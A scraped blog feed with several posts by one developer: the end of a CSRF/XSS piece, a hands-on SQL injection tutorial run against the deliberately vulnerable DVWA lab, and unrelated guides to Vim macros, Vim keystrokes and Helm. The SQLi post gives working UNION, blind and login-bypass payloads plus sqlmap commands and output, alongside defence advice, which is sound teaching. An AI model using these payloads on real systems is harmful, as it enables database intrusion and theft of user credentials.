Using a similar method from the medium level, we now utilize a DOM XSS, using the XSS (DOM) option from the menu. What this means, is that we can run a javascript that's accessible to the browser's DOM. Access to the DOM allows us to programmatically fetch the CSRF token, effectively making it useless.

While I'm not going to go through the process of creating a DOM XSS on DVWA, here's a video that shows the entire exploit. I do think it's important to understand the risk of being exploited with scripts that can access the DOM, and keep these in the back of your mind when developing the frontend of your application.

Once the CSRF token is in our possession we can go ahead and use the same form to exploit our victim. The key takeaway from this level is the understanding of how additional seemingly low-risk vulnerabilities, can be chained together into a much-higher-risk attack.

General tips for preventing XSS and CSRF and safer coding

<script>...NEVER PUT UNTRUSTED DATA HERE...</script>

<!--...NEVER PUT UNTRUSTED DATA HERE...-->

<div ...NEVER PUT UNTRUSTED DATA HERE...=test />

<NEVER PUT UNTRUSTED DATA HERE... href="/test" />

<style>
...NEVER PUT UNTRUSTED DATA HERE...
</style>

Never **ever** use GET requests to change data!
POST is the right method here. Not only it requires a structured request, 
it only utilized preflight requests hat help enforcing same-origin-policy and more.

If you got here, thank you first of all for reading this far. I hope I've helped you understand the risk and maybe even how to exploit it (I know I helped myself). This post was part informational, part notes I've taken trying to dive into the subject. I hope that while it was somewhat a "notebook" structure, it was still valuable and readable. If you have any comments/ideas please do let me know.

SQL injection for developers

Omer Hamerman — Tue, 05 May 2020 16:41:50 +0000

Originally published at https://omerxx.com/sql-injection-intro

The basics of how to test and protect your application

SQL Injection (SQLi) accounted for more than 72% of all attacks when looking at all verticals during (2018-2019) period.
- State of the internet 2019, Akamai

The quote above says it all. If there's one attack vector to get familiar with as a web developer it's an injection and this one in particular. On the OWASP top 10 list injections are ranked first with SQL staring high. The infamous SQLi is very common, easy to automate and can create a lot of unrepairable damage.

This post is a personal attempt at getting to the bottom of something I needed to know. I repeatedly tried picking it up with gists and short videos but it didn't go "all the way down". Getting to know SQL injection means sitting down, reading the docs and getting your hands dirty with payloads. The syntax with small and various escaping, together with poking at old SQL brain cells took a bit of an effort. A part of this effort is getting this post written.

Having that said, it's important to mention that SQL injection (from here on would be referred to as SQLi) is a simple concept with many flavors. How many? as many as SQL DB flavors out there, throw into a matrix of different webforms and developer mistakes.

What is it

SQL Injection (or SQLi in short) is a way of infiltrating a web application data without compromising the host itself. It allows the attacker to pull data from the database and in some cases source code and other sensitive information.

Performing the attack requires a very simple "hacking tool": your browser, making it accessible and easy both to learn and perform.

There are different kinds of SQLi vectors. The most common ones involve an HTTP request from the client's browser. So, where the developer intended for the user to provide a simple input e.g. User ID, an attacker may try to inject an SQL statement. Instead of providing 1 for example, consider this input:

 1' UNION SELECT password FROM users UNION SELECT '1

If the backend code was not thought of in the context of an injection, it may be exploitable to such a query. The result is an extraction of database information through a simple web form. If successful, the attacker doesn't need to gain access to the physical server. The data is extractable and available in a "legitimate" manner.

How to attack

In order to set up a live example, I'm using the infamous Damn Vulnerable Web Application. It's available in different forms but for the sake of demonstration and speed, let's pick the quickest one with Docker:

docker run --rm -it -p 8080:80 vulnerables/web-dvwa

# The login screen would be @ http://localhost:8080
#
# While the login can be brute-forced, let's keep things simple for now:
# 1. Login - User: "admin", Password: "password"
# 2. Click "Create / Reset Database"
# 3. You're all set. Login again.

Poking for holes

Select the "SQL Injection" module from the menu.
Trying to play with possible inputs, we can see the requested parameter is a user ID, so, the first option can be 1:

1

# ID: 1
# First name: admin
# Surname: admin

Seems like we're being responded with three fields: ID, First name and Surname.
Let's try an escape by providing ':

'

# Output:
# You have an error in your SQL syntax; check the manual that
# corresponds to your MariaDB server version for the right
# syntax to use near ''''' at line 1

This response is valuable information here. When the application returns an error with the error message relayed from the backend, the attacker is getting live feedback to different attempts which can be used for adjustments.

Sometimes, as a defense mechanism, applications return a generic error message without any informative message. Still, the attack can be executed and is called a "blind SQL injection". More on that further on.

Back to our injection quest. After using ' the app returned a useful message mentioning an error near '''''. Looks like the injection is valid and the response from the DB engine is visible. This means we can try different methods and get visible feedback.

The SQL UNION statement is a common helper. Using that, the attacker can unify additional information with the results and return them together. We'll try to run the next:

1' UNION SELECT '2

# Output: The used SELECT statements have a different number of columns

First, let's review the input:

1' means "end the statement with 1 and close it with an apostrophe". Exactly for this reason; of being able to terminate a logical part of an SQL query, ' are dangerous when not escaped correctly.
UNION SELECT '2 is a UNION statement that selects a number and opening another ' to pair with the one waiting at the end of the statement in the backend code.

Now we know the UNION may work with a few tweaks. When calling an SQL statement with UNION the DB engine tries to unite the results to one set. In order to do that all parts must have the same column number so they can be unified.

Let's expand the test and provide an additional column:

1' UNION SELECT 1,'2

# ID: 1' UNION SELECT 1,'2
# First name: admin
# Surname: admin
# ID: 1' UNION SELECT 1,'2
# First name: 1
# Surname: 2

Boom! The injection works. Still, this is not a real extracted data. We have to find our way around the schemas in order to have something meaningful, but this is definitely promising.

Step one is getting the DB name to query tables from:
```
1' union select 2, table_schema from information_schema.tables
   union select 3,'4
```
This yields three sets with the databases name under "Surname": "admin", "dvwa", "information_schema".
We're interested in dvwa, so we'll pick that and query its schema:
```
1' union select 2, table_name from information_schema.tables
    where table_schema = 'dvwa' union select 3,'4
```
The query yields table names: "admin", "users", "guestbook"
"Users" table is a usual immediate suspect that holds interesting data like usernames, passwords and other Personal Identifiable Information (PII). We'll query that (feel free to tinker with the requests and query all available information):
```
1' union select 2, column_name from information_schema.columns
    where table_name = 'users' union select 3,'4
```
We're responded with a list of column names. "user" and "password" seems like the interesting ones.

We go on and make a direct query to the "users" table:

1' union select user, password from users
   union select 1,2'
# ID:  1' union select user, password from users union select 1,2'
# First name: admin
# Surname: admin
# ID:  1' union select user, password from users union select 1,2'
# First name: admin
# Surname: 5f4dcc3b5aa765d61d8327deb882cf99
# ID:  1' union select user, password from users union select 1,2'
# First name: gordonb
# Surname: e99a18c428cb38d5f260853678922e03
# ID:  1' union select user, password from users union select 1,2'
# First name: 1337
# Surname: 8d3533d75ae2c3966d7e0d4fcc69216b
# ID:  1' union select user, password from users union select 1,2'
# First name: pablo
# Surname: 0d107d09f5bbe40cade3de5c71e9e9b7
# ID:  1' union select user, password from users union select 1,2'
# First name: smithy
# Surname: 5f4dcc3b5aa765d61d8327deb882cf99
# ID:  1' union select user, password from users union select 1,2'
# First name: 1
# Surname: 2

And there it is: a list of all users and password existing. Surprisingly (or not), passwords are in clear text and not even hashed as they should be.

Security Level: Medium

Raising the DVWA security level under "DVWA Security" -> choose Medium.
This time, instead of a plain form, we find a dropdown list with certain users to choose from. Checking the browser dev tools tells us the POST request is being sent with two parameters: id=1&Submit=Submit. Since there are more than a handful of headers we can use any kind of interceptor to catch the request and repeat it with different parameters. One favorite option is BurpSuite.

Quick setup to intercept with BurpSuite

Set your requests to go through a proxy; with Firefox this is easy as going to Preferences --> Advanced --> Network Settings --> Manual Proxy Configuration and setting all protocols to go through 127.0.0.1:8080 (BurpSuite's default)
Go to BurpSuite Proxy tab and set intercept on. The next request coming out of Firefox should be stopped at BS where you can decide to stop, forward or drop it
Go to DVWA SQLi page, choose an ID from the dropdown and click Submit. The request should be waiting on BurpSuite, where we can then send it to Repeater through the Actions menu.

Poking at the server by playing with the id of the POST request reveals an escape character in the form of \. So whenever a special char like ',#,-,$ appears it's being escaped. However, not being able to use special chars, does not prevent a UNION injection with the exact same syntax:

1 UNION SELECT user, password FROM users

That's it. No escaping at all. The backend code already wraps it and fetches everything within the command fully.

Security Level: High

The last security level shows a link that pops up another window with a form that controls the request. Playing around with previous escapes shows that the code is "better" here but it still has a glitch. Comments are a good way to escape the rest of the line:

SELECT something FROM sometable # WHERE ...

# Will translate into the SQL query
SELECT something FROM sometable

There are different options for commenting SQL lines, common ones are --, #, /* - multiline that ends with */.
In the "real world" those are useful in describing code:

SELECT name -- this is the name
  FROM users -- users table
  WHERE name="DAN" -- Dan is the CEO

When it comes to SQLi, comments help ignore the rest of the code that follows, so consider this PHP code:

// Check database
$query  = "SELECT first_name, last_name FROM users
            WHERE user_id = '$id' LIMIT 1;";

The query is LIMITed to a single result making it hard to pull a large set of data, ignoring the LIMITation can by pass it:

# First input:
1 UNION SELECT user,password from users

# Translates to
SELECT first_name, last_name FROM users
  WHERE user_id = '1 union select user,password' LIMIT 1;

Since the query result is limited to one set, it will constantly return first_name, last_name, ignoring the UNION.
Let's try again then:

1 UNION SELECT user,password from users#

# Limitation ignored
SELECT first_name, last_name FROM users
  WHERE user_id = '1 union select user,password FROM users';

Blind SQLi

A blind SQL injection is used when the application does not return the SQL error but is still vulnerable to the attack. This is virtually the same scenario as a normal SQL, but the attacker has to figure out if the vulnerability exists using a series of true / false tests. Another method is time-based. By sending SLEEP within the query, based on the time it took for the response to appear, the attacker can tell whether an answer is positive or not.

Time-based blind SQL injection relies on the database pausing for a specified amount of time, then returning the results, indicating successful SQL query executing. Using this method, an attacker enumerates each letter of the desired piece of data using the following logic:
If the first letter of the first database’s name is an ‘A’, wait for 10 seconds.
If the first letter of the first database’s name is an ‘B’, wait for 10 seconds. etc.

- Blind SQL Injection - OWASP

Let's test the DVWA blind SQLi module with the low security level. With the simple input 1 the system returns User ID exists in the database. With bad input like ' the response is 404 with a message User ID is MISSING from the database.

The next step is playing around to see if a boolean attack is optional:

# Input
'1 AND 1='1

>> User ID exists in the database.
# Ok, that was supposed to be a truthy signal.

# Input
'1 AND 1='2

>> User ID is MISSING from the database.
# Good! It seems a boolean-based blind attack is valid

From here on, it's a matter of separating known results into false/positive statements from which the attacker can derive answer. For example:

# This input returns 404
1' and (select user from users where user_id=1)='test' and 1='1

# However this is successful
# This means the name is 'admin' where user_id = 1
1' and (select user from users where user_id=1)='admin' and 1='1

Fragmented SQLi

A lesser-known method, but nonetheless effective can be useful when certain characters like ' are escaped, but the user can control two different fields. The obvious example is a login page. When a string is escaped by the application for example with \, the attacker may circumvent it by created his own escape like so:

username: \
password: or 1 #

$query = select * from users where username='".$username."'
          and password='".$password."'";

This translates to:

select * FROM users where username='\' or password=' or 1 # ';

The backslash escapes the following single-quote, creating a situation where the application reads the username value like so: '\' or password=' or 1 # '. The statement above will always return true. The hash # makes sure its following command section is ignored as a comment.

Automating things with sqlmap

One has to get familiar with the different techniques to handle different situations. But, rewriting payloads and remembering all the options is hard if you're not an expert. Human errors and false-positive we may miss can also interfere. Sqlmap can help.

sqlmap is a CLI tool that automates the scan and provides relevant information. If possible it can grab information from the DB like database names and even tables. It will also identity blind-SQLi and report optional techniques (boolean or time based).

Here's a simple operation of it on DVWA blind SQLi level

# Scanning the full form path with parameters
# Note how cookies are also passed to the scanner for authentication
sqlmap -u "http://localhost:8000/vulnerabilities/sqli_blind/?id=1&Submit=Submit#"
      --cookie="PHPSESSID=abcd;security=low"
      --dbs

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 5756=5756 AND 'XWif'='XWif&Submit=Submit

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 5198 FROM (SELECT(SLEEP(5)))xyFF)
                   AND 'lswI'='lswI&Submit=Submit
---
available databases [2]:
[*] dvwa
[*] information_schema

The scanner found both the vulnerability and the fact it has to be attacked blindly. It suggests payloads and presently available databases that can be used:

# Running the same scan with a -D for db name
# and --tables to enumerate the dvwa db
sqlmap -u "http://localhost:8000/vulnerabilities/sqli_blind/?id=1&Submit=Submit#"
      --cookie="PHPSESSID=abcd;security=low"
      -D dvwa
      --tables

Database: dvwa
[2 tables]
+-----------+
| guestbook |
| users     |
+-----------+

Defence

"ORM" - A common belief is, that a good way of dealing with SQLi is using an ORM layer. Not only an ORM provides data structure management, but it also takes away the responsibility of building raw database queries. This is usually helpful; transferring the responsibility of making queries to more experienced hands make sense. But it should not be done blindly. While an ORM is usually a, it is not an SQLi security solution. An ORM can easily turn in to a double-edged sword. If breached, the ORM may turn into a world scale SQL injection hole. ORM users must get familiar with injection methods and test their own applications.

"I would say it is a baseline expectation for any ORM, yes. which is likely why it's not mentioned in docs -- it's assumed, so long as you use the ORM's core API or query builder.
and that's where the caveat is... ORMs provide many ways to construct a database query, but they also give you the option/flexibility to write 'raw,' do-it-yourself queries as a string... or they allow you to write some part of a generated query as a raw string. obviously you want to avoid doing this, as it kinda defeats the purpose of using an ORM... but there is a case for it every now and again."
- TypeOrm Issue reply by @feather-hmalone

WAF - A web application firewall can be a great help by filtering incoming suspicious requests such as those of an SQLi, or cross-site scripting payloads. These too, rely on the power of their rules and can be bypassed if not implemented correctly.
Self-defence - Building things with best practice in mind is a good direction. It sounds obvious, but it really isn't. Best practice mentality is great but it doesn't mean that every responsibility can be offloaded to a different layer. When it comes to security, especially to a vector that's responsible for the bast majority of web data leaks, one should know how to self defend. Familiarizing oneself with the attacks and the tooling can make the difference of a sensitive information leak.

I hope that by now you're more familiar with SQLi risks and mitigations. Having attack vectors in mind helps us developers and operations protect the systems under our responsibility.

I'll be making more of these posts, mainly around OWASP's top 10 vulnerabilities, so if you feel this has been helpful, stick around for more and let me know if you have any questions or feedback at all.

Unleash the power of Vim Macros in 4 minutes

Omer Hamerman — Tue, 28 Jan 2020 16:59:42 +0000

In my first Vim post I had a long discussion with one of the readers over macros. He just couldn't get his head around the idea. As I was doing my best to explain, I realized that specific examples don't always go all the way in demonstrating an idea.

This post will cover the what's and the why's as well as the practical way of doing things, but thanks to my fellow reader, it would also try to illustrate use-cases and situations; the how.

What

Vim's documentation calls this "Recording", which essentially is exactly what it does. Vim records a set of commands into a register, and then allows their execution and manipulation. A recorded macro can be executed once, or as many times as requested by prefixing it with the number of repetitions. It can be combined with other recorded macros by assigning multiple macros in a certain order into a new macro of its own. A macro can be read, edited, and written as well since it's just a representation of characters saved into a register in the memory.

Why

Macro recordings are a powerful tool to have under your belt as a Vim user. Developers tend to stumble upon repetitive work quite frequently. Knowing "how to handle" such repetitiveness is not only time saving but also enjoyable as you perfect your process. As a side effect, being able to "beat" the challenge keeps you in your flow of work and doesn't throw you into the occasional frustration that is usually part of doing something over and over fifty times.
You'll be thankful the next time each line starting with a | would require another | after the third space (a real scenario batteling markdown tables);

How

98% of all Vim macros ever recorded (I totally made the number up) required two steps: recording and execution. The rest involved actually reading the sequence and even changing it, let's follow them by descending order of importance:

Recording

A recording is started with q followed by a register. The most common and closest register is obviously "q" itself so, qq will start recording into register q, and Vim will show the mode recording @q.
Here's an example of recording the sequence required to complete the task in the paragraph above (each line starting with a | would require another | after the third space):

qqf nna| <ESC>q

Let's review each of 11 moves:

q - record
q - save the recording into register "q"
f - find
- space (followed by "find", space being the target)
n - go to the next result
n - go to next result (again, since we're going for the third space)
a - start inserting after the current cursor location
| - insert a pipe
- insert a space
<ESC> - back to normal mode
q - stop recording

We now have a sequence of operations ready to be executed on the next line starting with |. The last 5 words imply there's a more efficient way in regard to the number of keystrokes required. Let's create a sequence that would be able to repeat itself, meaning, it should end where the next execution should start. One way to do that is this:

/^|qqf nna| <ESC>nq

The additions here are a prefix of /^| which means: search (/) for all lines starting (^) with |, and a suffix of n just before the end of recording (q) meaning "jump to the next search result". The record now doesn't require any extra keystrokes in between executions other than the Vim "repeat" command (which we'll get to know in the next section), or providing a number of required repetitions to the execution command.

Executing

Execution of a recorded sequence is done with @ followed by the target register; @q would execute the contents of register "q". @@ is a shortcut, as it reads the last register's contents (2nd @) and runs it (1st @). Another useful combination is Vim's repetition command ., which comes in handy when executing a sequence, then moving to another location where it's required (assuming there was no better option of recording), then using . saves a keystroke and replaces the @<register>.

Reading

As with any register, contents are available with :reg (or :reg q in the specific example), and can be pasted from with "qp ("paste from register q").

Changing

After reading and pasting, the sequence can be manipulated in any way, and the sequence which is essentially a string of characters, can be saved back into the register for further use with: "q followed by where the text is.

Combining

Macros can be combined or "concatenated": if a certain sequence is recorded into register q and another to w, one may want to read them both, maybe concatenate the strings and resave them to one register so they can be run together. A better and quicker solution would be to start recording a new macro to a new register e as an example, and then simply execute both sequences in the desired order: "e@q@w - "record into register e, the sequence in register q followed by the one in register w".

When

The simple answer to when should anyone use a macro, is either when you can't find a better alternative e.g. a regex-based search and replace, a normal search (/) and repeat (.) combination, OR when it's the quicker way, as simple as that. Vim's concept of "least keystrokes to result" is something to live by and remember; the least amount of effort put into a given result the better. Better flow, better focus and overall satisfaction of the user, because at the end of the day that's what Vim is all about: productivity.

Thank you for reading this far!
My name is Omer, and I am an engineer at ProdOps — a global consultancy that delivers software in a Reliable, Secure and Simple way by adopting the DevOps culture. Let me know your thoughts in the comments below, or connect with me directly on Twitter @omergsr. Clap if you liked it, it helps me focus my future writings.

Vim A to Z - Literally

Omer Hamerman — Mon, 06 Jan 2020 15:14:11 +0000

TL;DR - ish: This post is a list of options and keystrokes in Vim, if this is the first time you're getting to know them, take your time, read some, memorize and go back once you feel comfortable with taking more in. Vim is overwhelming if you're just getting started, but it's even more rewarding!

Vim has been one of the best adoptions and projects I took upon learning in the last several years. I've written quite a bit about it; an introductory post after reading the awesome Practical Vim and some advanced features.
I've been also collecting a long list of tips and notes which are open sourced,
but recently I felt there's an educational aspect to Vim that is being missed; Vim has phonetic logic to every keystroke, by understanding them and the logic behind them, one may feel much easier making their way through the steep learning curve.

The following list has both original intentions of Vim authors, and some additions I made up myself to help myself remember what I was doing when I first started. How is it going to work - Vim has a special and different meaning to each character, its lower or upper case, and obviously the motions it is combined with. The list will go through the alphabet mentioning each case with useful and notable tips.

Conventions: Vim keystroke sequences are in code blocks and from time to time are followed by <CTRL> or <ESC>, these are marked differently as they are mapped differently in different keyboards. There's also significance to where a sequence begins; so, an example would include [start: x] marking the character when the cursor is at before the sequence.

So, without further ado, here's my Vim A --> Z list...

A - Append, Amend

Lower case a will transition you into insert mode to the character on the right of the current location.
Example: [start: W] at WRD ("W"): use this sequence: aO<ESC>, the cursor will end up back in normal mode having WORD written; a starts editing to the right of W, O is inserted, and <ESC> throws back to normal mode.

Upper case A would have the same effect but in the end of a line, so if my text is TWO WORD and I run AS.<ESC> I'll end up with TWO WORDS..
Tip: its counterpart is I; the same effect as A but at the beginning of the line.

B - Backwards, Beginning

Lower case b will move to the beginning of the current word, if the cursor is already there, it'll go to the previous word's first character.
B would do the same but to the beginning of the line (starting to get the idea?). I like to think about the capital versions of the Vim keystrokes and strong stokes.
Tip: its counterpart stroke is e (end) or w (next word's beginning).

C - Change

c is usually followed by a motion; c combined with the listed above b, would take you to insert mode changing everything from the current location to the beginning of the word.
Example: [start: R] in WORD, hit cbX, you end up with XRD.
Since any Vim motion is relevant here, it can be run with some powerful combinations; e.g. ciw means "change in the word", deletes the word while transitioning to normal mode.
C in the case would change the entire line to its end from the current location.
Tip: D would do the same (as we'll see in a moment) but without the insert mode part.

D - Delete

d would delete any motion that would follow, so diw would be "delete in the word" which is similar to ciw but the end result is still normal mode.
Useful combinations:

dip "delete in paragraph"
dgg - "delete from here up"
dG - "delete from here down"
dd "delete the current line" Tip: has a small brother x that has roughly the same effect but on a single character.

E - End

e: you guessed it - takes you to the end of a word or the End of a line.

F - Find!

A very useful motion; f would find the character it's combined with; e.g. fX would find the next X appearance in a sentence. Using F would have the same effect but in a backward search.
Tip #1: combined with ; (next result), "find" becomes a very powerful motion in Vim to quickly find a character instead of moving towards it in slower or more keystrokes. ; works both backward and forward - depends on the original motion (f vs F).
Tip #2: f can be combined with other motions, to name a useful one - marking a visual block until a certain point including the point, one would use vfx where x is the character in question. Let's put this into a more solid example; consider the line "Here sleeps the hairy brown fox" [start: H], and the goal is to visually mark "Here sleeps the hairy", a sequence can be vfy as in "Visually mark until char y including." Sub-tip: if the end result wanted is the same but without the last char, use t as in vty to "Mark to y".

We're done with f - let's take a look on a visual that shows some of it:

G - Go

This is actually my own interpretation, g goes places but with a bit different motions, Vim authors did not provide a significance to it on its own. Useful combinations: gg to go the very beginning to the file, while G would do the same but to the end.
Tip: Find a comprehensive list of all the options with :help *g*.

H - An arrow replacement

h is one of the "special four" hjkl which are the basic arrows in Vim (sides, up & down), where h is used for left.
Addition suggested by Giuseppe Caruso:
H will take the cursor to the top of the page.

I - Insert

i is one of the most useful keystrokes in Vim, maybe only second to <ESC>. i transitions from normal mode to insert mode. In the same way I does the same but at the beginning of the line.
Useful (and advanced) Tip:
Since I edits the beginning of the line which is not a usual requirement of a user, I find myself requiring a prefix to a block or a number of lines. Using visual block (which we'll cover below with V) one can mark a visual block with <CTRL>v then when a block is marked, use I to start editing. When the edit is done hit <ESC> to
go back to normal mode but with the entire block prefixed with the change.

Example: [start: L] hit <CTRL>vjjI*<SPACE><ESC>:



Line one
Line two
Line twenty-two

Can you guess the result?
Let's review the motions:

Start a visual block (<CTRL>-v)
Jump down twice (jj)
Insert an asterisk followed by a space at the beginning of the line
Go back to normal mode, and behold: MAGIC 😮



* Line one
* Line two
* Line twenty-two

J - An arrow replacement

j is one of the "special four" hjkl which are the basic arrows in Vim (sides, up & down), where j is used for down.
Tip #1: j happens to be a rare English letter, and the key on a keyboard happens to be quite far considering its extensive use in the switch back to normal mode,
there's a convention of mapping jj to <ESC> and use the already-in-read key to make the transition.
Here's the mapping for your convenience: imap jj <Esc>. As with any other change (especially in Vim) it takes a while to get used to, but it's very much worth the wait.
Tip #2 suggested by the reader @argon2008aiti:
J (capital) joins the line below after the cursor, this is useful when the cursor is standing at the end of a line and the line below should be joined to the same point. Usually, a user would go down a line, find the beginning of a sentence and delete backward to the earlier location.

K - An arrow replacement

K is one of the "special four" hjkl which are the basic arrows in Vim (sides, up & down), where k is used for up.

L - An arrow replacement

L is one of the "special four" hjkl which are the basic arrows in Vim (sides, up & down), where l is used for right. (An absurd thinking about the concept of this post, one would expect "l" to be used for left :+1)... :trollface:

M - Mark

Vim supports a powerful marking feature. Using Registers, it can save locations in a document with m like so: ma would save the current location to the register a, go back to it from each other location with 'a (a can be replaced here with any other character that can represent a register).
Relevant tip: if you did not remember to mark your location, which we normally don't in the flow of work, '' will always jump back to the previous location.
Addition suggested by Giuseppe Caruso:
M will move the cursor to the middle of the page (same as zz).

N - Next

n will go to the next result of a search. Since this is a circular motion (next after the last result is the first), n is used to go forward and N to go back.
Relevant info: to those who are not familiar, search in Vim is triggered with / followed by search text. Beyond the obvious use-case of searching an appearance or a specific result, this is a useful motion; even if you already know and see the location of your target. Moving a cursor sometimes takes more keystrokes than just searching for the word (and maybe combining it with an n).

O - Open line

Not certain whether this was, in fact, the author's intention, o does exactly that: it opens a new line below the cursor. Using O would do the same but above.

Here's something I did not yet figure to a level I'm satisfied with: o opens a line and transitions to insert mode, there are many times I'd like to open a new line below or above the cursor without adding new text, I've tried different mappings and combinations, but ended up back where I started with o followed by <ECS>. I'll use this stage to ask - had anyone found a better solution to this very specific yet annoying problem?

P - Paste, Paragraph

p's most common usage is pasting something that has been yanked or cut (remember Vim treats delete as cut too). pasting is done after the cursor while P does it before.
Tip: Registers come in handy once again; paste from a register by combining it before the motion: with text saved into the a register, "adiw would "delete in word and save to the a register". Use the register's content and paste it using "ap ("paste after the cursor from register a").

Q - Quit (and Reqord macros)

This bad spelled word is how I initially memorized where macros are starting their way :)
q is used to quit Vim, either with :q which is the basic, :qw to quit and write, q! to quit even if work hasn't been saved and more.
Having that said, as a motion, q is used to record a sequence of operations and repeat them, or as this is called in the Vim terminology "macros", more on macros (A-lot more) in my next and very soon blog post.
For the time being here's a quick tip: Recording is done into registers just like yanking and cutting; use qq to record into register q, and do run a sequence of commands. Another hit on q would stop the record making it available for execution with @q.

R - Replace

While r is as simple as replacing the current character with another (ra will replace the current location with a), R is a powerful one yet rare; R would transition into the odd replace mode, which is essentially an insert mode that overrides characters. When block-width matters or there's an order of alignment, this small feature comes in very handy.

S - Substitute

Being honest here - s is the one motion of this entire list I did not recall and as such, I have never used it. I find it quite unnecessary having c motion that transitions into insert mode with the combined motion. s would do the same while editing "on the spot": substituting the current character and editing from thereon. Useful when the end result is a substitution of a single character, yet this could be achieved with x&i or r&<ESC>.
Using S would substitute the current block while keeping you in insert mode.
Tip: I personally map <leader>ss to toggle Vim's spell checker, (yes it has one), here's the mapping:



nnoremap <leader>ss :setlocal spell spelllang=en_us<CR>

Another "s" map I have is ss to disable the highlight after searching a word resulting the highlights of all results, here it this map from my .vimrc:



nnoremap ss :noh<CR>

T - To

Mentioned previously in the F section, t means "do something until" (or to); vtx means "visually mark to x" (without x). Or dtf (this is just a random example...) would be "delete to char f".

U - Undo

As simple as that, u would undo changes. It's big brother U has a rather strange result - undoing changes done in the same line since the cursor last moved into it.

V - Visual

v is your way to mark chars / words / lines / blocks in Vim in order to do something with it; deleting, yanking or maybe indenting (>>).

W - Word

This motion was mentioned multiple times above as it comes hand in hand with end & back; w is a motion that jumps to the next beginning of a word.
W is quite interesting: while w is the current word, W is the "word block", which means it includes all characters between two spaces.
Example: "some-name,still-no-space" is not one word, but Vim would consider it one if addresses as W.
How is this useful? With motions of course: viW is "visually mark a block in the Word" (between the two closest spaces). Obviously, this can be combined with any other motion in Vim.

X - Cross out?

The one letter in the English alphabet which I couldn't have found an actual phonetic resolution; x would remove a single character under the cursor. (Remember: s would do the same resulting in insert mode, x would not).
X would be the same but backward.

Y - Yank

One of the most useful and basic motions in Vim - y copies text, by default into the unnamed register, ready to be pasted back in another location. Its big brother Y would copy the entire line with one stroke (I'm used to doing the same with yy).

Z - Welcome it! Last and pretty useless on its own: "Z"

While on it's own z has no effect (:help z), it's in charge of a useful Vim feature called "folding", where the user can wrap text and fold into collapse & extendable blocks, read about it some more in my Vim notebook.
ZZ is the quick way to save and exit - yes, your complicated and physically challenging :wq! is way too much (on Vim and on your body).

Additions suggested by Giuseppe Caruso:

zz places the line in the middle of the buffer
zt cursor line at top of the window
zb cursor line at bottom of the window

And there it is! The list is complete.
Not covered (but will be in a soon-to-be-published piece): all other symbols available in a keyboard, featuring the powerful . command, the macros' @@, the regex family of $^..., the small but powerful % and many many more.

How to use this list? After reading it, I suggest trying to go through the alphabet and memorizing the phonetic meaning of each one, maybe even turn them to flashcards! After understanding them, combining motions, and utilizing the least-key-strokes concept in Vim, becomes and an arsenal of tools rather than mental combat.

A 6-minute introduction to HELM

Omer Hamerman — Mon, 02 Sep 2019 15:25:41 +0000

Simplifying Kubernetes application management

Photo by pexels.com

After completing a 4-month period on a client’s project that included a complete migration from “raw” K8S-yaml-files to Helm Charts, I figured I need to put the things I’ve learned in writing for others to read, and for me to better learn.
This post is the little brother of my 8-minute introduction to Kubernetes, make sure you read it first if you're not yet familiar with basic K8s concepts.

TL;DR

You can install dependencies and proprietary software on your K8S cluster with a simple: helm install https://dev.to/prodopsio/an-8-minute-introduction-to-kubernetes-1oi/mysql, there are hundreds of available installations like this one, but you can also do that with your own product/services!

What’s HELM?

“A helmsman or “helm” is a person who steers a ship, sailboat, submarine, other types of maritime vessel, or spacecraft.” — Wikipedia
“The package manager for Kubernetes; Helm is the best way to find, share, and use software built for Kubernetes.” — Helm.sh

Why do we need it?

A question I asked myself multiple times trying to understand how this magical installer thing is making my Kubernetes life better.
Well, Helm lets you fetch, deploy and manage the lifecycle of applications, both 3rd party products and your own.

No more maintaining random groups of YAML files (or very long ones) describing pods, replica-sets, services, RBAC settings, etc. With helm, there is a structure and a convention for a software package that defines a layer of YAML templates and another layer that changes the templates called values. Values are injected into templates, thus allowing separation of configuration, and defining where changes are allowed. This whole package is called a "Helm Chart".

Essentially you create structured application packages that contain everything they need to run on a Kubernetes cluster; including dependencies the application requires.

Helm is a CLI, Tiller is its backend

Practically speaking, Helm is a CLI tool that interacts with its backend server called “Tiller”. Tiller is typically installed by sending the command helm init and lives in the kube-system namespace (unless instructed otherwise). It is in charge of deploying Charts requested by Helm.

When a Chart is installed, Tiller creates a “Release” and starts tracking it for changes. This way Helm not only takes part in installation but is an actual deploy tool that manages the lifecycle of applications in a cluster using Chart Releases and their revisions.

Helm concepts | Chart

Helm uses Charts to pack all the required K8s components for an application to deploy, run and scale. It is also where dependencies are defined, and configurations are updated and maintained.

A chart root has to have only one file named Chart.yaml by convention.
It can optionally (and by default if you use helm create) have a few more components on which I’ll elaborate shortly, but first, here’s what a typical chart structure would look like:

    ├── Chart.yaml
    ├── templates
    │   ├── service.yaml
    │   └── replicaset.yaml
    ├── charts
    │   ├── nginx-ingress-1.1.2.tgz
    ├── requirements.lock
    ├── requirements.yaml
    └── values.yaml

In this chart (let’s call it “web-UI”), there are templates of Service and ReplicaSet, which upon helm installation will be created using the values.yaml file that can be seen a the bottom of the list.
Also, the web-UI chart requires Nginx to run, and so Nginx appears as a subchart under the charts directory. requirements.yaml is the file describing the actual requirement and lists Nginx inside. The lock file which is also part of the pack is created when helm installs the requirements when commanded with helm dependency update.

A Chart.yaml is a description of the package and in fact the only required file in it, there are only three required entries: apiVersion, name and version. Here’s an example of what it would look like:
(You can find the full list of options and entries in a Chart right here.)

    apiVersion: v1
    name: drone
    version: 1.0.0

Templates

Templates are an optional subdirectory in a chart.
They combine the K8s components, e.g. Service, ReplicaSet, Deployment etc, converted into a Go-Template format to which values will, later on, be matched.
Let’s take a look of a partial template example:

    apiVersion: apps/v1
    kind: DaemonSet
    metadata:
      name: {{ .Values.name }}
      labels:
        app: {{ .Values.name }}
        somelabel: {{ .Values.labels.somelabelkey }}

Values

Values are described in the values.yaml file which is necessarily a yaml structure holding values to match the templates. Considering the template above, a matching values file would be:

    name: web-ui
    labels:
      somelabelkey: somelabelvalue

Subcharts

Subcharts also named dependencies, are required charts for the current one.
You can think of it as another way of packing applications so that if my backend requires a Redis cache to run, this is another way to set it up.
Another way of using subcharts is considering it as an inheritance mechanism which allows fetching a standard chart with templates and uses it as a subcharts in multiple parent charts that would provide the values.

Helm concepts | Repository

Repositories are where helm charts are held and maintained. In essence, these are a set of templates and configuration values stored as code (sometimes packed as a .tar.gz file).
